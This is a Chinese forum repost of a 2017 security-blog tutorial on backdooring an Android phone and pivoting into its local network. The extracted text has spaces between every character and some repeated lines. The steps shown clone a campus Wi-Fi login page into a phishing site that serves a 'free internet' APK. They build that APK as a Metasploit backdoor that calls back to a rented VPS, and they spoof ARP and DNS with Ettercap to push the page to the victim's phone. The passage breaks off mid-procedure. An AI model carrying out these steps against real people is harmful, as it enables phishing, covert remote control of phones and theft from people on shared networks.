搜索

[11437] 2017-06-09_MSF外网持久控制Android手机并渗透测试局域网

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-18
2017-06-09_MSF外网持久控制Android手机并渗透测试局域网 M S F 外 网 持 久 控 制 A n d r o i d 手 机 并 渗 透 测 试 局 域 网 原 创   求 份 网 络 安 全 实 习   F r e e B u f   2 0 1 7 - 0 6 - 0 9 *   本 文 作 者 ： 求 一 份 网 络 安 全 实 习 ， 本 文 中 提 及 的 工 具 和 技 术 方 法 仅 供 安 全 教 学 用 途 ， 禁 止 非 法 使 用 以 前 经 常 看 以 前 经 常 看 F r e e b u f ， 学 到 了 不 少 东 西 ， 现 在 想 给 入 门 的 同 学 提 供 一 点 微 小 的 帮 助 。 以 前 老 是 不 知 道 如 何 在 外 网 使 用 ， 学 到 了 不 少 东 西 ， 现 在 想 给 入 门 的 同 学 提 供 一 点 微 小 的 帮 助 。 以 前 老 是 不 知 道 如 何 在 外 网 使 用 m s f 这 这 个 神 器 ， 自 己 查 了 查 资 料 ， 总 结 了 一 点 自 己 的 认 识 。 个 神 器 ， 自 己 查 了 查 资 料 ， 总 结 了 一 点 自 己 的 认 识 。 0 .   环 境 环 境 : a )   K a l i   2 . 0   ( 咖 啡 厅 : 1 9 2 . 1 6 8 . 0 . 2 / 校 园 网 : 1 7 2 . 1 6 . X . X ) i .   M e t a s p l o i t - F r a m e w o r k i i .   E t t e r c a p ( d n s 欺 骗 ) i i i .   B a c k d o o r - a p k ( a p k 后 门 ) i v .   P y t h o n   - m   S i m p l e H T T P S e r v e r   8 0   ( 轻 量 级 H T T P 服 务 器 ) v .   S S H   T u n n e l   ( 外 网 打 洞 ) b )   V u l t r   v p s   一 台 ( U b u n t u   1 4 . 0 4 ) ( 公 网 I P : 4 5 . 7 7 . x x . x x ) e c h o   G a t e w a y P o r t s   y e s > > / e t c / s s h / s s h d _ c o n f i g c )   A n d r o i d   ( 魅 蓝 E 2   F l y m e   b y   Y u n o s   ) (   咖 啡 厅 : 1 9 2 . 1 6 8 . 0 . 3 / 家 庭 局 域 网 : 1 9 2 . 1 6 8 . 0 . 3 ) d )   W i n 7   x 6 4   s p 1 ( m s 1 7 _ 0 1 0 ) ( 家 庭 局 域 网 : 1 9 2 . 1 6 8 . 0 . 5 ) 示 意 图 :
1 .   构 造 钓 鱼 页 面 构 造 钓 鱼 页 面 a )   首 先 我 们 在 电 脑 上 登 录 C M C C - E D U b )   弹 出 一 个 页 面
c )   该 页 面 会 提 示 下 载 一 个   免 费 上 网 1 . p a k   . 我 们 正 好 用 它 来 制 作 后 门 d )   保 存 该 页 面 到 桌 面 ,   将   免 费 上 网 . h t m l   重 命 名 为   i n d e x . h t m l   并 放 到   免 费 上 网 _ f i l e s   文 件 夹 中 , 然 后 修 改 H T M L : , 替 换 页 面 所 有 a p k 地 址 为 免 费 上 网 . a p k , 并 添 加 < i f r a m e   s r c = ” 免 费 上 网 . a p k ” >
e )   p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0   # ( 在 i n d e x . h t m l 所 在 文 件 夹 直 接 启 动 H T T P 服 务 ) 2 .   使 用 使 用 b a c k d o o r - a p k 制 作 制 作 a p k 后 门 后 门 a )   现 在 我 们 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / d a n a - a t - c p / b a c k d o o r - a p k . g i t b ) c d   b a c k d o o r - a p k - m a s t e r / b a c k d o o r - a p k   c )   将   免 费 上 网 1 . a p k   复 制 到 此 目 录   并 且 重 命 名 为   m f s w . a p k  
d ) . / b a c k d o o r - a p k . s h   m f s w . a p k e )   p a y l o a d   选 择   3 f )   l h o s t   填 写   v p s   的 I P 地 址   4 5 . 7 7 . X X . X X g )   l p o r t 填 写   9 9     ( v u l t r   会 封 掉 一 部 分 端 口 , 比 如 默 认 的 4 4 4 4 )
h )   然 后 进 入   o r i g i n a l / d i s t   复 制 m f s w . a p k   到   免 费 上 网 _ f i l e s   那 个 包 含 我 们 钓 鱼 文 件 的 文 件 夹 , 改 名 为   免 费 上 网 . a p k        
3 .   E t t e r c a p   实 现 实 现   D N S   欺 骗 欺 骗 a )   查 看 i f c o n f i g b ) g e d i t   / e t c / e t t e r c a p / e t t e r . d n s   *   A   1 9 2 . 1 6 8 . 0 . 2 *     P T R   1 9 2 . 1 6 8 . 0 . 2
c )   开 启 e t t e r c a p - g u i   选 择 w l a n 0   d )   扫 描 h o s t s    
e )   选 择 欺 骗   1 9 2 . 1 6 8 . 0 . 1   和   1 9 2 . 1 6 8 . 0 . 3   ( A n d r o i d )     f )   开 启 A r p s p o o f        
g )   加 载 d n s   s p r o o f     模 块  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理